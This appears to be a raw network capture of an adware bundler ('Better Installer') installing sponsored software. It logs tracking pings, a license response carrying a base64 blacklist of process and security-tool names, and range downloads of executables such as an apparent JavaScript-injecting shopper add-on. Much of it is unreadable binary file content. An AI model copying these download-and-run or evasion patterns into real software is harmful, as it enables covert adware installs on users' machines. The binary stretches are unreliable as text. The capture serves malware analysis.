.....N..IM2TU...f1....KEA...,.r...6]7n..EP..%.i6......v%#...\.`...B...
.F....e8..P*.#I...1Ss.?5m5.v....U..V......;!.0^LV.~.w....~..w..v./.M.X
.5...|....&QC.....D.<.....<......cI....f.oM..*.b.....>B..o...
Sd.EBy8......;[email protected].....*gC........g..i./ , ......{.(_.i
....Ji:....ei...uY............w...v.w...}...Y..........1&. .d.........
.}E.....<.0p...}5...9......CS...cE..9O.]..nZJ.v..aZ.bd..P*w...H.N!.
....i.N_....w...%lSA..........'.B.....=sE..:\.f.B.|LF.u...../v..dD....
..U.Y._.K.x...T...*....R.%..d5......L.2...a.....g:...C.....C..$.....#q
....p..#..=../......Hr...F...Y.s....L.?j...L.....U.j..!.....C=a.1mO...
$7<.......]..q.m..w?.2.d.....q...h"Wouu....5..&4....b../....Ee7
<<< skipped >>>


GET /pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=554f1a32df4546428c4cd4ba3636f283&uniqid=7e067d4730d1830d0b187fc9d5748bbc&affiliate_id=network_adworkmedia_1&software_id=freezipwepv&sponsored_id=mystartsearch&tokyo_csrf2_key=ac95071b2cc939a2c3269499acd6d45b&tokyo_csrf2_timestamp=1422581225&slot_number=2&index_in_screen=1&index_in_session=2&display_height=50&0.19766297172187003 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/network_adworkmedia_1/freezipwepv/554f1a32df4546428c4cd4ba3636f283?v=2.1&uid=554f1a32df4546428c4cd4ba3636f283&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive

Cookie: __utma=1.1033541308.1422581247.1422581247.1422581247.1; __utmb=1.1.10.1422581247; __utmc=1; __utmz=1.1422581247.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1




HTTP/1.1 200 OK

Server: nginx

Date: Fri, 30 Jan 2015 01:27:16 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked
0..HTTP/1.1 200 OK..Server: nginx..Date: Fri, 30 Jan 2015 01:27:16 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..


GET /utility.gif?error=start&report=mini_s&ver=820&action=na&ms_vr=3&clock=0&rnd=47 HTTP/1.1

Host: errors.crossrider.com

Connection: Keep-Alive

Cache-Control: no-cache




HTTP/1.1 200 OK

Server: nginx/1.6.0

Date: Fri, 30 Jan 2015 01:29:08 GMT

Content-Type: image/gif

Content-Length: 43

Last-Modified: Mon, 28 Sep 1970 06:00:00 GMT

Connection: close
GIF89a.............!.......,...........L..;..


GET /online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=2b739ee3-657b-4b28-ab6c-93812cc4b452&Password=CuYNL6Dr&OS=10&V=3.3.9.4&VS=1&Beta=0&Aff=smtycl1_0_0_0_0,55ab86e2-1aa0-4cd0-9974-956045006e3d,&BundleID=NONE&BrandID=NONE&PartnerList=&XMLVersion=20131113143800&UpdateReason=0&resver=1.0.0.8&VA_Aff=NONE&XMLUpdateFailed=0&ElapsedTime=1422581378&SBPIDS=1 HTTP/1.1

User-Agent: CoreWinInet

Host: online.GOOBZO.com

Cache-Control: no-cache

Cookie: ASP.NET_SessionId=4s11le45qfkhc2qxoebayyee




HTTP/1.1 200 OK

Connection: close

Date: Fri, 30 Jan 2015 01:29:17 GMT

Server: Microsoft-IIS/6.0

X-Powered-By: ASP.NET

Cache-Control: no-cache, no-store

X-AspNet-Version: 2.0.50727

Cache-Control: private

Content-Type: text/html; charset=utf-8

Content-Length: 547
<RESULT>.<LICENSE><STATUS>YaBhX1FVSUY=</STATUS>
;<EXPIRATION>0</EXPIRATION></LICENSE><UPDATE>.
<EXIST>0</EXIST>.<VERSION></VERSION>.<PAGE_
URL></PAGE_URL>.<DOWNLOAD_URL></DOWNLOAD_URL>.<
;DOWNLOAD_FILENAME></DOWNLOAD_FILENAME>.</UPDATE>.<S
TATS><COLLECT>1</COLLECT></STATS>..<ADS><
;SHOW>1</SHOW></ADS>...<BLACKLIST>..<LEN>10
8</LEN><DATA>..Y3JzcztzdmNob3N0O0FjdFNhZ2UuZXhlO2NkYXNmLmV
4ZTt3bGlkc3ZjLmV4ZTt3bGNvbW0uZXhlO2FnZW50LmV4ZTtBU0MuZXhlO3N1bXAuZXhlO
0F1ZGlhbHMuZXhlO1RlYW1WaWV3ZXI7..</DATA></BLACKLIST>....&l
t;SENDLOGRULE>..1..</SENDLOGRULE>...</RESULT>...


GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1

User-Agent: Better Installer(Mozilla)

Host: d2otsfra4otprh.cloudfront.net

Cache-Control: no-cache




HTTP/1.1 200 OK

Content-Type: application/octet-stream

Content-Length: 1290756

Connection: keep-alive

Cache-Control: no-cache

Last-Modified: Thu, 29 Jan 2015 08:48:51 GMT

Accept-Ranges: bytes

ETag: "f58be667a03bd01:0"

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Fri, 30 Jan 2015 01:27:56 GMT

X-Cache: Miss from cloudfront

Via: 1.1 462cdb6020d941cbe166e3fece73ca6d.cloudfront.net (CloudFront)

X-Amz-Cf-Id: gkOhnkT9sf6w_15E6xYHB2YyAsmxKvtvweWoPMOOATgHom8B0uNq8A==
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1p.:u..iu..i
u..i...iw..iu..i...i...id..i!2.i...i...it..iRichu..i........PE..L.....
oS.................\...........2.......p....@.........................
.................................................s....................
...................................................................p..
.............................text....[.......\.................. ..`.r
data.......p.......`..............@[email protected]..........
[email protected][email protected]
..............@..@....................................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
[email protected]@..e...E..E.P.u....r@
..}[email protected]... M.......M....3.....FQ.....NU..M.....
.....VT..U.....FP..E...............E.P.M...Tp@[email protected]
....E..9}[email protected].}.j.W.E......E.......@[email protected]..
[email protected]<[email protected] [email protected]...\r@._
^3.[.....L$...7B...Si.....VW.T.....tO.q.3.;5.7B.sB..i......D.......t.G
.....t...O..t .....u...3....3...F.....;5.7B.r._^[...U..QQ.U.SV..i.
<<< skipped >>>


GET /install.ashx?e=/Fcwh0Xd/M1iZHP23jXoQrMRgl08r6l0Go2IC1I9YLkCYZqti6uVFio96KQrvxHzFtz73aJdyQ 7OBNGMEkGUC0cTvbqczOhBcNlKj6q F5x1QZiJL1PeOb16kt4KYXNWPowBg89VjfmuzdwyvBFpOw7wxZ0rOEF7kya2DQtiCrPuJP0oXNMGUoUZ8uSwLjwK1sXKQZB4UkN5AqUm 96JtZ5hL1HPq8nsYTwVLnU/n42sTQmsQPwkgwB44/hE3WY3hJO7Y2KlJohmqfz4qG /vt4TSnxe7XfOtZBqFf7bsV84h2PoRfCK6gUQMjUbAKu5ANb0gKAVdW2lrxF8GR/jrXqNtnRHDA4fqZ6AO5KFFPYz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW ax5eone962k6MvW5qG/cSo= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: dfb5uyoqjsg4c.cloudfront.net

Connection: Keep-Alive




HTTP/1.1 200 OK

Content-Type: application/octet-stream

Content-Length: 1320

Connection: keep-alive

Cache-Control: private,no-cache, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Fri, 30 Jan 2015 01:28:00 GMT

X-Cache: Miss from cloudfront

Via: 1.1 cd103c18819ef0db201c8a8cb9162bd2.cloudfront.net (CloudFront)

X-Amz-Cf-Id: Q5aPxafQptsAlP_3HweG7g-fm3EPM4O8KEGAFLn4oAgUlRsU16XIew==
C.\.S...6....Cn.....~.....5. ..,....$1@.......,...~..]......~m...W0..(
O.G.....|[email protected]._...../5.Q..a....='..G..G..-!s6.Q-.?"....o.0R..g.ti.m.
......ZQ...I......S./...G4a.4....;1 J......L..%B.2.4H..v.M./q.....o..@
I.E.]....~f5YDR.01\C/(Y.K........E..q'..H.O....^H(T6..1...{..#Uu5y...8
y%.f.D|p5...a.."...g...V.Y ug..4..|~._.\.}.Jb.=..\RZ-0..K.y....2....w.
."hO/.4..#...D6.]..........rv.z..u.6..y.c.(.s...4....X.yL./...s.\..].o
HV. L...1.......p..iq..l..u..........rv.z..u.j............PM....N.8F..
...K..[o..'.;..r..Y*.4....^.{...z...8...y...a.s.....\..,I.9!..MT{.6.w.
4....dT.wY...B.)...,mX..'..G..G..-!s6.Q-.?"....o.0R..g.t.H'o....z....9
....>..T......,M.B..._.....k....D....-........?.......C.......S..M.
6/7..U...j.............H3..E......vB.88.a....=.v'@..W8. ...x....1..8..
n.<..~..`.......dH~........5. .9y..`.".x.m.-.8b<..^[email protected].!3F .
4t.v.u.Z...8.......1..n.*U.<p....#z.W...o./.u..Ig*{8......u.Wk.iV.5
..#....g.C.y....b..'... |....f.%.H...R..t5..iV.h....8bc.....9....qc<
;......h...G..5j.)..l......A7.o. .Q...A...W.........rv.z..u.b.TD .](C.
=.q/"u......./...s.\......H...r.c.........Bv...?..^.$.o...{.k.K.....q@
,(..;.?...a(H#C$..C..R......G....z...8...y...a.s.....\..,I.9!.....E.8.
n..-..n..(K..H....).$".....jM@-.._L.0..........=(...F,#.....C. .d.....
..B..._...$.&>p.0...5.L..'5.....-14w......< C.t^.c...C....4.=...
....v....,...
<<< skipped >>>


GET /software_files/freezip/9_20/FreeZip920.exe HTTP/1.1

Range: bytes=559924-

User-Agent: Better Installer(Mozilla)

Host: download.filesfrog.com

Connection: Keep-Alive

Cache-Control: no-cache




HTTP/1.1 206 Partial Content

Server: nginx

Date: Fri, 30 Jan 2015 01:27:05 GMT

Content-Type: application/octet-stream

Content-Length: 559921

Last-Modified: Tue, 30 Jul 2013 12:25:29 GMT

Connection: close

ETag: "51f7b0b9-111665"

Content-Range: bytes 559924-1119844/1119845
>)M2.M.......]H.....7.0.Z*...$Y."..N^.e.E.JHX....px5......y...h....
C..sL....J.p[.>...5],.*....0J.`J..rg...R.1U.....O..}%.y...{q..nJR..
..d\.3.....*.....c._4_.......l.tI...g...s:.G.F~.J.t...`....w...^0..6..
.I.-.....A....4...R.@77.>..w23\...0.J.r._..9.%.;.E..X.....d:HZg.b..
~..<..V.O.....K..a9.p2^..w.6.T._.......(...?..'..J.9F....t..?..8.J.
.$..a.....A....2.e.dND.Cf...y.....R.....M....m$..."TB...<k.Ay....T.
...|........... t0.4B=...}.t... ..@...*.6....=......4.....$..%..CU....
f....}V8WPU..V..C.ly.i........^........GK4.kh....L.=......4.|_t......@
n.D.Y..6.z..A..<B.r ... ....D....e6...........a.8W...J{.oI.......a.
.\._'.,*....!.En..[..~.I..y.-:.....Os3.....S......h..qCot.....F..K...t
.%]..q...7{..[gj.:d..>\.*.m%..0...g._{q<...w.......#..ic..4f..`.
*H.....MS#x.nn...S...)s.......a......>.bO.........._=.l..@.{mf...^.
..zy2i.4......:'..HY....'.q.6...@?.jV..,.%;.R..u.kx..u..B..F.........u
....\.Q..12.T.y......P.o.g.....A.[.h.S.~<i>...F..^.....r.e.....K
X..Z..}..`...ud.f*MQ........\..e.V.\.l....z.r..P......D.Q.I.\....D.Sx.
.AA......Z.E#N....p..$..agh....8Y..].B.lc..!../.wf. ...../......f.{..Y
.2..`A..m..OX..Q].!c...... ..............h......_.CIg.H.....M....c..*.
x.CF'..T.....6...j..D..........(-..1..1..r.Y.....>.........x9..E...
..q.2z/p.y..=.....$`8..,....6(..;.f:[email protected]..:......o.b.
......v.3.].w..j..m{.....z............e.J........tG.Q.?.)...;.....t.\.
.....u......i......X.r...`B.Dh6...1~..n%.ZG....mQ6.l.S....R.2..G...J..
 ..W|..#.`.....Y'..-......5-..h.0...".#........L[.....P..4d.vu...=
<<< skipped >>>


GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1

User-Agent: Better Installer(Mozilla)

Host: d2otsfra4otprh.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache




HTTP/1.1 200 OK

Content-Type: application/octet-stream

Content-Length: 1290756

Connection: keep-alive

Cache-Control: no-cache

Last-Modified: Thu, 29 Jan 2015 08:48:51 GMT

Accept-Ranges: bytes

ETag: "f58be667a03bd01:0"

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Fri, 30 Jan 2015 01:27:56 GMT

X-Cache: Miss from cloudfront

Via: 1.1 64150aec025f89247bcddad7c210f6cb.cloudfront.net (CloudFront)

X-Amz-Cf-Id: NmjeoezXU7OWvKOW5hR-JaUUKzA7Qpe921KTNJM_P9keK6RLcS3EDQ==
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1p.:u..iu..i
u..i...iw..iu..i...i...id..i!2.i...i...it..iRichu..i........PE..L.....
oS.................\...........2.......p....@.........................
.................................................s....................
...................................................................p..
.............................text....[.......\.................. ..`.r
data.......p.......`..............@[email protected]..........
[email protected][email protected]
..............@..@....................................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
[email protected]@..e...E..E.P.u....r@
..}[email protected]... M.......M....3.....FQ.....NU..M.....
.....VT..U.....FP..E...............E.P.M...Tp@[email protected]
....E..9}[email protected].}.j.W.E......E.......@[email protected]..
[email protected]<[email protected] [email protected]...\r@._
^3.[.....L$...7B...Si.....VW.T.....tO.q.3.;5.7B.sB..i......D.......t.G
.....t...O..t .....u...3....3...F.....;5.7B.r._^[...U..QQ.U.SV..i.
<<< skipped >>>


GET /ShopperProJSINJFull.exe HTTP/1.1

Range: bytes=250000-499999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: mjqap06up-su78sj1t.netdna-ssl.com

Connection: Keep-Alive




HTTP/1.1 206 Partial Content

Date: Fri, 30 Jan 2015 01:28:03 GMT

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

x-amz-id-2: aqgF6cB4CajBdIPCmaadtK2bFRSg2T1QjpL5jEYKBxQFhnhRczGzgeYi6B0VJPhy

x-amz-request-id: C9CDA2C9A766912B

Last-Modified: Wed, 28 Jan 2015 18:17:55 GMT

ETag: "39bc3f97d5142d9e0fe6f66ec0142427"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 250000-499999/4667708
#.......9#..e.@9.#0:.......1..l3.B.9pI..m.=Y...?7v[.:..3........l.]...
.&EW.2.$.Uv....ME=S.......II..9T.q...C....3.X?..P..0..D..;.....$..m...
.c1;A.!.sL..wB./.9...%...~...T...S...._\.t.cy.\..k.^..-..S.0.5.......C
P.!..D.....(......n..Ejz[..=~....*:`Z....?..o.w. ....W%.U...BL.m..w..t
/.|..z...e9...n...G.'[email protected]/vm......v..b..I.v{.N....2..1.f.u.\.. ..
.oX.....4*<.........w....A.. ........(/...NCV..@Jiu).8....gS..Z...o
..6.......h.....*.....b)-..|.q....Y.9`.a..$..Og...v2..:X._....1.4..i&W
...7.].Z..A9....fT.Ha;.J..S.]... \....C[..(.P"......`....k'....3..>
9Z....~.ENj.x...3........#aX.p....(Z..._.f.Z./D...8.="Z..q...D.....]w/
.....)...!.O.o....p!N.....ht...MU.w..>B.....4...vU..#...P....7..uRb
.&..b.:..7...B..>.6C..[[email protected]..;.a.b?%*}..'wY...V.vZ...>...
.....[.........SF\h.kh...~....ih....(s...1.,...P...kg:.N../....7...S.O
..o.,.....X......i......V.K.G......,..h...Yc...2.......f.H..M..nU8.Y._
.o.R:u2{FS.....a. f.T..`J..n=^I.>....I.Y....3U>T7=5....^..y..>
;..9t...[.&a6..=CJR.!Pu..y.......'{.$US#."."cb.d.........,p3-...;.....
O...3tma..,.qE...-)..iXqA...v.6.?..L.ul..g_E.V.1.....V@kk.....:.h.....
8.....@w<4..*.n..........g.....Z.ha..s...M..Kw,..F&]..`m..xW9.. .G.
.1...a$....K..._O.......3/..K.?..K......3..Y..qQZ.DV.G..W7\.3..}...4.0
.ACqP.....qL.%N.&.;3Q.0B....?n....r.b.m!...`...F.`..z.(. ......'4..-.d
u..w.....NH)g$...[|..hG.7...:...iX..>,.s.. ..vl..R.,.g.]...........
cV.o'...|.j.N.....|..!p......w.b..7..I7..........k.<......u.E..K..5
....I..j..~8....[........B.6.........c...Y>...u1..l..c.Y.....y.
<<< skipped >>>

GET /ShopperProJSINJFull.exe HTTP/1.1

Range: bytes=750000-999999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: mjqap06up-su78sj1t.netdna-ssl.com

Connection: Keep-Alive




HTTP/1.1 206 Partial Content

Date: Fri, 30 Jan 2015 01:28:03 GMT

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

x-amz-id-2: aqgF6cB4CajBdIPCmaadtK2bFRSg2T1QjpL5jEYKBxQFhnhRczGzgeYi6B0VJPhy

x-amz-request-id: C9CDA2C9A766912B

Last-Modified: Wed, 28 Jan 2015 18:17:55 GMT

ETag: "39bc3f97d5142d9e0fe6f66ec0142427"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 750000-999999/4667708
x....u.....4..z.{nDP&......|s....W.Hi]..#...Y........Gv.P.xQ..hG..g.}.
..^.].D.......c...?...v..fp.8..9,.s.........T...N..&..o....U..oq....f.
..kH...:.t.,JO. -MY'2.......i.I...E_.t..[kj.....n....".SL. .....I.....
.hj..p')-!E..u...g%n.fO[,..7.7.M ! ...j.F.d......7..st>.X....e...q.
.y..o."X..Hk...iF...ci.HT....xY....j..=J...]G...%c ...v..........d\@.G
l.....f......>..Xp).d8k../W&QQ~.Df. .....A..........K......H.1.....
..W.qa......E........."........G.....P%....b.W../.F ....#j..`q..-....)
..KD....Bl"..#.y.7T6x.'.....iUb..>..h..B....k.;@......w.....-\....a
............1...,.b)..1.........P.U...\..k..Ftu.ed..).[.s..uJ.......c!
.g..0.....l...E-X$?.W..d. ..B.v....-..#[email protected]..
.W.(..z.....}...IP.vH~.D0..*.>.\....?......wL..H...?p{..........D..
.#;Qn..m....;..^..Z2.g%^.2.u.......y....K...........^F...K.S..........
...0bU.g.t..:.d..n....\.O..P.J..9....4....Z"a2|..(tt..t.t...5J....?...
..AI'g...Vx.s7............X..u2.........me....,..#t......*..H...x.%..A
j..S.h`_....U.? ...?.mn...<... ...O...5.G._...S.#...........>...
..E'{..eyB}{..........QK.4.....l.F..P!......&.g...GK.l.sCy.B...Z.....)
.....$>].~...zVX.].2..q..7(...}..g...zJ...*.!b..ob..p...< q..).X
/...}..4..7ZU*. .,."..n...5..8y<......~H...#J......n....&.U...kS..E
.....ZqD..r...f&?..y..}........n=."......t.%Dg..oj.Y..,Y[..,H(L.......
....Qc6.T.[..XK.............3......~....M.wz..............._r.<\x&g
t;.Q...........];.`.e.;..6..........9hh.h.....`.H.4]v..\..{C$:G.r...4.
.B..1..yo../Z.....$._S..[G..!&w9-6...Uo.C;....X..?=...b.4....1....
<<< skipped >>>

GET /ShopperProJSINJFull.exe HTTP/1.1

Range: bytes=1750000-1999999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: mjqap06up-su78sj1t.netdna-ssl.com

Connection: Keep-Alive




HTTP/1.1 206 Partial Content

Date: Fri, 30 Jan 2015 01:28:03 GMT

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

x-amz-id-2: aqgF6cB4CajBdIPCmaadtK2bFRSg2T1QjpL5jEYKBxQFhnhRczGzgeYi6B0VJPhy

x-amz-request-id: C9CDA2C9A766912B

Last-Modified: Wed, 28 Jan 2015 18:17:55 GMT

ETag: "39bc3f97d5142d9e0fe6f66ec0142427"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 1750000-1999999/4667708
...~.....{. N.._I.....w...M]Y.g..K.1j.).vVp7 [email protected]...;.z.a..0..
-.....x.Q7...p...~...W.........Z.......1.:_.t8.US]..>...,u.d7..]d-.
DT..6...L...^.'.........o..V....;...x.Y..8.5..c.....[."..2K..8..i..2..
.wg`.^..j.....j........\...n....*..I...9....M\...$.${.....30-.6....(..
.....".{.c...."..y2i..q..*.............={0..S...I/.N..]..QQ..N...Sq]..
.x...%l.W.....P.\>(.l....&m...".8...s...(.&...i......3....{....."..
1.}.......:."....{.P.&v...^[email protected]..^.../...cX...TW....T.(...X
`....4...B./..d...?*a..Fm..P.A.d.j....z4.......4.=@>.g.....2.......
b...`..=.=.....cx(....o./n.\.?.$.( ..P..a......%.ns;.5$.6{/3..~.......
.0,&2.......:..[J.x..E&..!#R...P........!..........X.K...t.Q..u.fC_.z.
.........:.........p.o.....i..,..._.....2....8X.?U...?...!.i..D..*...6
.K......8.][email protected]'..z.../..C...0.Y..g4.[B....
-.#Y.u..T.G..Jx..4..4.A!].?.s..BH)..C.......*...X...........E.br...;.J
. ...F...fI.%JG......../.8.=S.....,..........>.G..nS....HHW....f..2
SilT..q"..WH.*WBQ........^.v...xD..RJ$..8.H.H?..`#0.o.v.m.g.T...F....9
i..#..r;..v{.*!..!..........[i8A].m..t.U2.X..fWw1..{h,..AEY2...c..].I.
...\m..\....P..1..F...$..L.B.....P{.....$..AVz..}8%.9|.0.8W;W{..X..$\.
m...........dSx..M.|..~...Z.u..b....f...vpW*....>.XYQ...PO.gW~...,.
..Dw.....M.SyaT.$...-O...4Z.h...k.4.......5....ae.9../..~j...c.......a
.l...h...B..~..?.......}..r.*.......6.y.5......w\.QR.:&{v.4..Bv..,m...
.)Pn:C.........^.j.......J[....$.....r.........[&..oY.@............;..
....(..h...$..y.T%....LA.Ma...K.Kx....E.Z..)..v..h..ZC#.........C.
<<< skipped >>>

GET /ShopperProJSINJFull.exe HTTP/1.1

Range: bytes=2500000-2749999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: mjqap06up-su78sj1t.netdna-ssl.com

Connection: Keep-Alive



GET /ShopperProJSINJFull.exe HTTP/1.1

Range: bytes=3000000-3249999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: mjqap06up-su78sj1t.netdna-ssl.com

Connection: Keep-Alive




HTTP/1.1 206 Partial Content

Date: Fri, 30 Jan 2015 01:28:03 GMT

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

x-amz-id-2: aqgF6cB4CajBdIPCmaadtK2bFRSg2T1QjpL5jEYKBxQFhnhRczGzgeYi6B0VJPhy

x-amz-request-id: C9CDA2C9A766912B

Last-Modified: Wed, 28 Jan 2015 18:17:55 GMT

ETag: "39bc3f97d5142d9e0fe6f66ec0142427"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 3000000-3249999/4667708
!..H.'.6g....p.X ..-...A#&..X..*.R.......(.Q..#.....2X.......[...g:RS.
........i..q'..C..H7^e...Yui...C./.K.....9.......\ME)<...Y...!..31.
.[|....4[..|.'.H1.4.....:.W].j...#3.....CR4.<9O.. [email protected].
[email protected].[n...?h..qt./ ..&47.L;k.k.......AZ......r.\.
7.....NiC..J......uB.l.T.....J...'.I}........i_-...8._.Ba.oH.,...&....
.oQ%.t...OY.5..>.7a..l%..Mg..o..X6.zg.<L%.?`s=.....w.....O..X...
..,=....On].^.C.m=4..Zh.......`y.v0...u....i..7....)g.V..w..Ft..%.....
y...\. ..Y$3.e..b.n...gB.....|..#..,<6.E}....L. %.m.z.....S..../...
"........\.=_...=Z..S..QMs} ...|... ...y....iNX..I!...i..L..4Q......d.
wI|..R....*.3-'I.A..0]x.l. .......Kw......k..X(U..^.......8j..C. .j.C.
..].%k.`..:......z.......=...C.j...>./.Y"w......n..5.EY......!.w.B.
.h/.a~.N....,.btK&..*n...B$.\IrfVj_..4G4kB.I.j...u,._.....Z.v..).I..w.
.....j...t.....zlq..%..S...7..j...lfvB.E.......%............X.8....ch.
.%*YX.....4...........8.>J..c.Y..\d8....SA.....s2.D...-.e...e.?#..H
........$...... .]......?..!<..L...g...a.....0...6..x.l/[email protected]..
|..%.n...6n?..`4..i.l..i.j$.9H/U6......hw..9..vB{..".q...?........N.B'
.zr..]....f.{...l......I.....{.@.._M|89q.4.*x.^.X..7...Y~.n....... .(i
.H.R.... ..mj."..E`oMO.....`......../.........A.W...].......:V..@.....
..9x.N.^E<G..&.G.y...Z..Z.\=.f.\J..X.....{.8..%A.&...&...t3a....6.&
........4...r|.o.c..B.cZ..C...*G.=Q......Wn\....Z?.9.J[}.?.f"...4...=|
...7.oguW.8....e.......l...c....p..g...3.<. ,$./.QX..6...B.tR6.]...
R.R-.rw..~.\UFZv.F,Vg1....<:... ...B.G:..^.V .....BTJ.......t_;
<<< skipped >>>

GET /ShopperProJSINJFull.exe HTTP/1.1

Range: bytes=3500000-3749999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: mjqap06up-su78sj1t.netdna-ssl.com

Connection: Keep-Alive



GET /ShopperProJSINJFull.exe HTTP/1.1

Range: bytes=4000000-4249999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: mjqap06up-su78sj1t.netdna-ssl.com

Connection: Keep-Alive




HTTP/1.1 206 Partial Content

Date: Fri, 30 Jan 2015 01:28:03 GMT

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

x-amz-id-2: aqgF6cB4CajBdIPCmaadtK2bFRSg2T1QjpL5jEYKBxQFhnhRczGzgeYi6B0VJPhy

x-amz-request-id: C9CDA2C9A766912B

Last-Modified: Wed, 28 Jan 2015 18:17:55 GMT

ETag: "39bc3f97d5142d9e0fe6f66ec0142427"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 4000000-4249999/4667708
..a..a.ba?.....~..q.._/e.. ..A............}e...0 -d .....W...pc...K.un
[email protected]....(.Q.j..a..E....(..u.Z..z.L....$[... .s &.4e..*.*..k8..
3.~./L..........p..qL....A.vr...` 9.......Z3.}R.R...\@....e......3..!K
.J.aB.C....H:..........I....-Q."....7|..W`..!......m<.7....oO.P.B..
.w5\zM.}........E..H.K..).......q.......`.....'.{.gv'....\...2......0.
&..4.r...3..O.i...Ji4n..e..>2.-.i..3...z...Ey.x......Y.2.W;.F..hD..
&=........^.(..E...... ....0w.%>.Xx...=Xh.I.[S....@..?..9^D\.V.....
.j..g..SD#.Ge...zd.d.e...P....?....S1$.......dQ3. u/..G.Q/.8..V.@.!...
..:.v..@V.}...[[email protected]\.G...PmK..rf2.........s..n....
0......TUs.AK.:.F..GCO....@}..l.-..L.....?...&..Q.....-........f.....r
.0Y.....4.......J"k..^.....|......H......6.,........TK..F&$..WS.d....u
..B:<. .j..LC...(....l.cl./.......J....b.=.tt.q.Tk...N....).i.#..5.
8.{>............D.'............y..../[email protected]...)A...k..j...r...W
H...w`>.N..!.HAW- #.On..\.D.....}9j..'..........B.$.*C......"s....]
.a..8,6......6HD....s8..6.=.K..P.. ........)..|......... ...Y.8....*..
[..Oo.n.....Q.....GieS..,..r.m..X....cf!..i.......r..C.}<Alz..7]b..
 ...&Y..e)......5.;.......e.fR..7Fs..<^"..Ad.\...h'..Sm.)/.......#.
....._...Tu...2...'O....... s.R4....v-xDx...T%....Hv.q7......8...(....
s6IU..@......;cR..;1...v...g;....X.>......a;......0...p...."...6u.}
aO.m.`..^A9.T...< .X.!.m...i..}.KYeG<.[.5.cS.mp.e7.......D,R]...
....d.....r".. .....fB.)..".j.. .[.....BQ^.....K..Co."uEVb.L........Z.
..z....#.&....l|....^|...'...b.K`..Y...f...2....b..........[....NZ
<<< skipped >>>


GET /ytai.exe HTTP/1.1

Range: bytes=250000-499999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3dle8xo1zpfnz.cloudfront.net

Connection: Keep-Alive




HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

Cache-Control: no-cache

Last-Modified: Tue, 06 Jan 2015 08:55:02 GMT

Accept-Ranges: bytes

ETag: "1bd473758e29d01:0"

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Thu, 15 Jan 2015 16:08:10 GMT

Content-Range: bytes 250000-499999/1206160

X-Cache: RefreshHit from cloudfront

Via: 1.1 761f19bc2f5721b0be0a41147e1e925f.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 9EI7sreX7aSlsovxOs6xTmnAw2F-l3zoOBHw2WtSxrIpuBqmc1A0Uw==
.W..V..YPW..$H....&F....$.....j.....$(......$......$.......$....j..C.$
......$.....D$....M.X9.$$....0.M..t$..C.$....9.$....S.C.$....9...M.W.C
...M.9.D.M...$L....C.0.M...$`.....C.$L...3.W.5..M.RQP..$....h..J.P....
...(..$....j.WhP.M..ES..3...$......$......$..........$....f..$......$(
..........d$,h.VK...R....$@......$@......$p....bc.......$(.....x..r...
P..$.....oR....$(....3.WC..$\...S..V..j.W.....$......$........d$4.C.$.
...P.L$P.KQ....$H......$H......$...........$H......$....P..$$....$P...
....$0......$`...P.JC....$(......$X...P..$......Q....$(......$X...WS..
V....$(......$....WS..U....$(......$....WS..U....$p..........$(.....W.
j....D$.[h.....*q....Y.T$,..$(......t:..$.......$p.....$.....C.$p.....
$.....Q.C.$....QP...........$(............3..D$$.D$(.D$..D$ .D$4.D$8.D
$$P..d.I..D$.P..h.I..G.j.j..H............x..G.j..H.........P..D$4P..h.
I..L$4 L$..T$8.T$ .^.....Y...K..T$(.L$$...D$,.C......L$,..^...XL$.f.(.
